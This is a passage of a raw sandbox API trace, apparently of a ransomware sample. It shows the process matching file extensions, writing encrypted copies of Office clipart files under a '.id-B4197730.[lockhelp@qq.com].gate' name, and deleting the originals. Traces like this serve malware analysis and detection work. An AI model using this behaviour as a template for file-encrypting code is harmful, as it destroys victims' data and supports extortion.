[0292.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0292.482] lstrlenW (lpString=".dbf") returned 4 [0292.482] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0292.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0292.482] lstrlenW (lpString=".1cd") returned 4 [0292.482] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0292.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0292.482] lstrlenW (lpString=".jpg") returned 4 [0292.482] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0292.482] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0292.482] lstrlenW (lpString="DD00413_.WMF") returned 12 [0292.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0292.586] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=42992) returned 1 [0292.586] CloseHandle (hObject=0x4b0) returned 1 [0292.586] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf")) returned 0x220 [0292.586] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0292.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0292.586] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0292.586] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0292.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4fc [0292.587] GetLastError () returned 0x0 [0292.587] ReadFile (in: hFile=0x4b0, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0xa7f0, lpOverlapped=0x0) returned 1 [0292.683] WriteFile (in: hFile=0x4fc, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xa800, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xa800, lpOverlapped=0x0) returned 1 [0292.685] ReadFile (in: hFile=0x4b0, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0292.685] WriteFile (in: hFile=0x4fc, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0292.685] SetEndOfFile (hFile=0x4fc) returned 1 [0292.685] CloseHandle (hObject=0x4fc) returned 1 [0292.686] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0292.686] SetEndOfFile (hFile=0x4b0) returned 1 [0292.691] CloseHandle (hObject=0x4b0) returned 1 [0292.691] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0292.691] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf")) returned 1 [0292.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0292.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0292.692] lstrlenW (lpString=".doc") returned 4 [0292.692] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0292.692] lstrlenW (lpString=".docx") returned 5 [0292.692] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0292.692] lstrlenW (lpString=".pdf") returned 4 [0292.692] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0292.692] lstrlenW (lpString=".xls") returned 4 [0292.692] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0292.692] lstrlenW (lpString=".xlsx") returned 5 [0292.692] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0292.692] lstrlenW (lpString=".ppt") returned 4 [0292.692] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0292.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0292.692] lstrlenW (lpString=".zip") returned 4 [0292.692] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0292.692] lstrlenW (lpString=".rar") returned 4 [0292.692] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0292.692] lstrlenW (lpString=".bz2") returned 4 [0292.692] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0292.693] lstrlenW (lpString=".7z") returned 3 [0292.693] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0292.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0292.693] lstrlenW (lpString=".dbf") returned 4 [0292.693] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0292.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0292.693] lstrlenW (lpString=".1cd") returned 4 [0292.693] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0292.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0292.693] lstrlenW (lpString=".jpg") returned 4 [0292.693] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0292.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0292.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0292.693] lstrlenW (lpString=".doc") returned 4 [0292.693] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0292.693] lstrlenW (lpString=".docx") returned 5 [0292.693] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0292.693] lstrlenW (lpString=".pdf") returned 4 [0292.693] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0292.693] lstrlenW (lpString=".xls") returned 4 [0292.693] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0292.693] lstrlenW (lpString=".xlsx") returned 5 [0292.693] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0292.693] lstrlenW (lpString=".ppt") returned 4 [0292.693] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0292.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0292.693] lstrlenW (lpString=".zip") returned 4 [0292.693] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0292.693] lstrlenW (lpString=".rar") returned 4 [0292.693] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0292.693] lstrlenW (lpString=".bz2") returned 4 [0292.694] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0292.694] lstrlenW (lpString=".7z") returned 3 [0292.694] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0292.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0292.694] lstrlenW (lpString=".dbf") returned 4 [0292.694] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0292.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0292.694] lstrlenW (lpString=".1cd") returned 4 [0292.694] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0292.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0292.694] lstrlenW (lpString=".jpg") returned 4 [0292.694] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0292.694] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0292.694] lstrlenW (lpString="DD00687_.WMF") returned 12 [0292.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0292.695] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=20784) returned 1 [0292.695] CloseHandle (hObject=0x4b0) returned 1 [0292.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf")) returned 0x220 [0292.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0292.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0292.695] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0292.695] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0292.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4fc [0292.696] GetLastError () returned 0x0 [0292.696] ReadFile (in: hFile=0x4b0, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x5130, lpOverlapped=0x0) returned 1 [0292.765] WriteFile (in: hFile=0x4fc, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x5140, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x5140, lpOverlapped=0x0) returned 1 [0292.766] ReadFile (in: hFile=0x4b0, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0292.766] WriteFile (in: hFile=0x4fc, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0292.766] SetEndOfFile (hFile=0x4fc) returned 1 [0292.915] CloseHandle (hObject=0x4fc) returned 1 [0292.917] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0292.917] SetEndOfFile (hFile=0x4b0) returned 1 [0292.920] CloseHandle (hObject=0x4b0) returned 1 [0292.921] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0292.921] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf")) returned 1 [0292.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0292.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0292.922] lstrlenW (lpString=".doc") returned 4 [0292.922] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0292.922] lstrlenW (lpString=".docx") returned 5 [0292.922] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0292.922] lstrlenW (lpString=".pdf") returned 4 [0292.922] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0292.922] lstrlenW (lpString=".xls") returned 4 [0292.922] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0292.922] lstrlenW (lpString=".xlsx") returned 5 [0292.922] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0292.922] lstrlenW (lpString=".ppt") returned 4 [0292.922] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0292.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0292.922] lstrlenW (lpString=".zip") returned 4 [0292.922] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0292.922] lstrlenW (lpString=".rar") returned 4 [0292.922] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0292.922] lstrlenW (lpString=".bz2") returned 4 [0292.922] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0292.922] lstrlenW (lpString=".7z") returned 3 [0292.922] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0292.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0292.923] lstrlenW (lpString=".dbf") returned 4 [0292.923] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0292.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0292.923] lstrlenW (lpString=".1cd") returned 4 [0292.923] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0292.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0292.923] lstrlenW (lpString=".jpg") returned 4 [0292.923] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0292.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0292.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0292.923] lstrlenW (lpString=".doc") returned 4 [0292.923] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0292.923] lstrlenW (lpString=".docx") returned 5 [0292.923] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0292.923] lstrlenW (lpString=".pdf") returned 4 [0292.923] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0292.923] lstrlenW (lpString=".xls") returned 4 [0292.923] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0292.923] lstrlenW (lpString=".xlsx") returned 5 [0292.923] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0292.923] lstrlenW (lpString=".ppt") returned 4 [0292.923] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0292.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0292.923] lstrlenW (lpString=".zip") returned 4 [0292.924] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0292.924] lstrlenW (lpString=".rar") returned 4 [0292.924] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0292.924] lstrlenW (lpString=".bz2") returned 4 [0292.924] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0292.924] lstrlenW (lpString=".7z") returned 3 [0292.924] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0292.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0292.924] lstrlenW (lpString=".dbf") returned 4 [0292.924] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0292.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0292.924] lstrlenW (lpString=".1cd") returned 4 [0292.924] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0292.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0292.924] lstrlenW (lpString=".jpg") returned 4 [0292.924] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0292.924] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0292.924] lstrlenW (lpString="DD01138_.WMF") returned 12 [0292.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0292.925] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=3692) returned 1 [0292.925] CloseHandle (hObject=0x4b0) returned 1 [0292.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf")) returned 0x220 [0292.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0292.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0292.925] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0292.926] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0292.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4fc [0292.926] GetLastError () returned 0x0 [0292.926] ReadFile (in: hFile=0x4b0, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0xe6c, lpOverlapped=0x0) returned 1 [0293.122] WriteFile (in: hFile=0x4fc, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xe70, lpOverlapped=0x0) returned 1 [0293.123] ReadFile (in: hFile=0x4b0, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0293.123] WriteFile (in: hFile=0x4fc, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0293.123] SetEndOfFile (hFile=0x4fc) returned 1 [0293.123] CloseHandle (hObject=0x4fc) returned 1 [0293.124] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.124] SetEndOfFile (hFile=0x4b0) returned 1 [0293.126] CloseHandle (hObject=0x4b0) returned 1 [0293.127] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0293.142] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf")) returned 1 [0293.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0293.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0293.144] lstrlenW (lpString=".doc") returned 4 [0293.144] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.144] lstrlenW (lpString=".docx") returned 5 [0293.144] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.144] lstrlenW (lpString=".pdf") returned 4 [0293.144] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.144] lstrlenW (lpString=".xls") returned 4 [0293.144] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.144] lstrlenW (lpString=".xlsx") returned 5 [0293.144] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.144] lstrlenW (lpString=".ppt") returned 4 [0293.144] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0293.144] lstrlenW (lpString=".zip") returned 4 [0293.144] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.144] lstrlenW (lpString=".rar") returned 4 [0293.144] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.144] lstrlenW (lpString=".bz2") returned 4 [0293.144] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.144] lstrlenW (lpString=".7z") returned 3 [0293.144] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0293.144] lstrlenW (lpString=".dbf") returned 4 [0293.144] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0293.144] lstrlenW (lpString=".1cd") returned 4 [0293.144] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0293.144] lstrlenW (lpString=".jpg") returned 4 [0293.145] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0293.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0293.145] lstrlenW (lpString=".doc") returned 4 [0293.145] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.145] lstrlenW (lpString=".docx") returned 5 [0293.145] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.145] lstrlenW (lpString=".pdf") returned 4 [0293.145] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.145] lstrlenW (lpString=".xls") returned 4 [0293.145] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.145] lstrlenW (lpString=".xlsx") returned 5 [0293.145] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.145] lstrlenW (lpString=".ppt") returned 4 [0293.145] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0293.145] lstrlenW (lpString=".zip") returned 4 [0293.145] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.145] lstrlenW (lpString=".rar") returned 4 [0293.145] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.145] lstrlenW (lpString=".bz2") returned 4 [0293.145] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.145] lstrlenW (lpString=".7z") returned 3 [0293.145] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0293.145] lstrlenW (lpString=".dbf") returned 4 [0293.145] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") 